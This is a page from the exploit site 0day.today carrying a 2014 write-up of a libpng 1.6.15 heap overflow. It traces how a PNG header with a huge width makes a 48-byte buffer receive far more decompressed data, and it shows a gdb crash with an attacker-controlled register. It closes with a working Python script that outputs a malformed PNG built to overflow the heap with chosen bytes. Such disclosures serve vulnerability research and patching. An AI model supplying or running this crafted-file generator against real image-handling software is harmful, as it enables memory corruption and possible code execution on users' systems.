0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
libpng 1.6.15 Heap Overflow Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
/********************************* * Alex Eubanks * * endeavor@rainbowsandpwnies.com * * libpng 1.6.15 heap overflow * * 18 December 2014 * *********************************/ /************* * A foreword * *************/ // this bug was found with american fuzzy lop! thanks lcamtuf! /* * We will trigger a call to zlib which will decompress data from an IDAT chunk * into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend * on the amount of data we decompress into it. * * In some cases, like my case (programs are wonderful creations), this may * allow for a controlled write. * * My environment is * user@debian:~$ uname -a * Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux * * Example code to trigger this overflow is available at the end of this post. * Simply set OVERFLOW_DATA to what you want to overflow the heap with. */ Program received signal SIGSEGV, Segmentation fault. 0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) x/i $pc => 0xb7eb4f71: movdqu %xmm0,(%esi) (gdb) i r esi esi 0x41414141 1094795585 (gdb) i r xmm0 xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141}, uint128 = 0x41414141414141414141414141414141} /*************** * The overflow * ***************/ # pngrutil.c :: png_read_IDAT_data :: line 4018 /* * At the time of this call, * png_ptr->zstream->avail_out = 0x20000000 * png_ptr->zstream->avail_in = size of our compressed IDAT data * png_ptr->zstream->next_in = our compressed IDAT data * png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf */ ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /******* * IHDR * *******/ [0-3] = png_ptr->width // 0x20000000 [4-7] = png_ptr->height // 0x00000020 [8] = png_ptr->bit_depth // 0x10 [9] = png_ptr->color_type // 0x06 [10] = png_ptr->compression_type // 0x00 [11] = png_ptr->filter_type // 0x00 [12] = png_ptr->interlace_type // 0x01 /********************* * png_read_IDAT_data * *********************/ # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) / * png_bytep output * \-> a buffer to decompress the IDAT data into * png_alloc_size_t avail_out * \-> The size of output in bytes */ # pngrutil.c :: png_read_IDAT_data :: line 3984 buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/); # pngrutil.c :: png_read_IDAT_data :: line 3989 png_ptr->zstream.next_in = buffer; # pngrutil.c :: png_read_IDAT_data :: line 3946 png_ptr->zstream.next_out = output; # pngrutil.c :: png_read_IDAT_data :: line 4002 png_ptr->zstream.avail_out = out; pngrutil.c :: png_read_IDAT_data :: line 4018 ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /********************************* * The call to png_read_IDAT_data * *********************************/ # pngread.c :: png_read_row :: line 534 png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1); # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) /***************************** * deriving row_info.rowbytes * *****************************/ # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.pixel_depth * ************************************/ # pngread.c :: png_read_row :: line 396 row_info.pixel_depth = png_ptr->pixel_depth; // row_info.pixel_depth is set in png_handle_IHDR # pngrutil.c :: png_handle_IHDR :: line 855 png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels); // where png_ptr->bit_depth = IHDR[8], or 0x10 // channels is set by the following logic based off // IHDR->color_type, or 0x6 if (color_type == PNG_COLOR_TYPE_RGB) // 2 png_ptr->channels = 3 else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4 png_ptr->channels = 2 else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6 png_ptr->channels = 4 else png_ptr->channels = 1 // row_info.pixel_depth = 0x10 * 4 /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.width * ************************************/ # pngread.c :: png_read_row :: line 392 row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */ // png_ptr->iwidth is set in png_read_start_row // cliff notes here are, during the first interlace pass, width will be // divided by 8, so 0x20000000 becomes 0x4000000 // actual computation is ((0x20000000 + 8 - 1 - 0) / 8) # pngrutil.c :: png_read_start_row :: line 4217 png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000 png_pass_inc[png_ptr->pass] - 1 - png_pass_start[png_ptr->pass]) / png_pass_inc[png_ptr->pass]; // png_ptr->iwidth = 0x4000000 // back to our original call for row_info.rowbytes # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); # pngpriv.h :: line 659 /* Added to libpng-1.2.6 JB */ #define PNG_ROWBYTES(pixel_bits, width) \ ((pixel_bits) >= 8 ? \ ((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \ (( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) ) // row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000 // row_info.rowbytes = 0x20000000 /**************************** * deriving png_ptr->row_buf * ****************************/ # pngstruct.h :: line 225 // inside struct png_struct_def, which is png_ptr png_bytep row_buf; /* buffer to save current (unfiltered) row. * This is a pointer into big_row_buf */ # pngrutil.c :: png_read_start_row :: line 4403 png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48); // there are a couple #ifdef cases for png_ptr->row_buf to be set from, // but this summarizes nicely # pngrutil.c :: png_read_start_row :: line 4427 png_ptr->row_buf = png_ptr->big_row_buf + 31; /**************************** * deriving png_ptr->row_buf * * \-> deriving row_bytes * ****************************/ # pngrutil :: png_read_start_row :: line 4427 row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7)); /* Calculate the maximum bytes needed, adding a byte and a pixel * for safety's sake */ row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) + 1 + ((max_pixel_depth + 7) >> 3); // cliff notes, based on our IHDR color_type being // PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64 row_bytes = 0x20000000 * (64 >> 3) = 0; // this makes the size of the malloc call to png_malloc 48, which means // malloc doesn't fail, returns valid pointer into the heap // png_ptr->big_row_buf = png_malloc(png_ptr, 48) ################## # HAPPY FUN CODE # ################## import zlib import struct import sys OVERFLOW_DATA = 'A' * 4096 IDAT_DATA = zlib.compress(OVERFLOW_DATA) IDAT_SIZE = struct.pack('>i', len(IDAT_DATA)) IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA)) HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04' IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32 IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44' sys.stdout.write(HEADER + IHDR + IDAT + IEND) # 0day.today [2024-12-24] #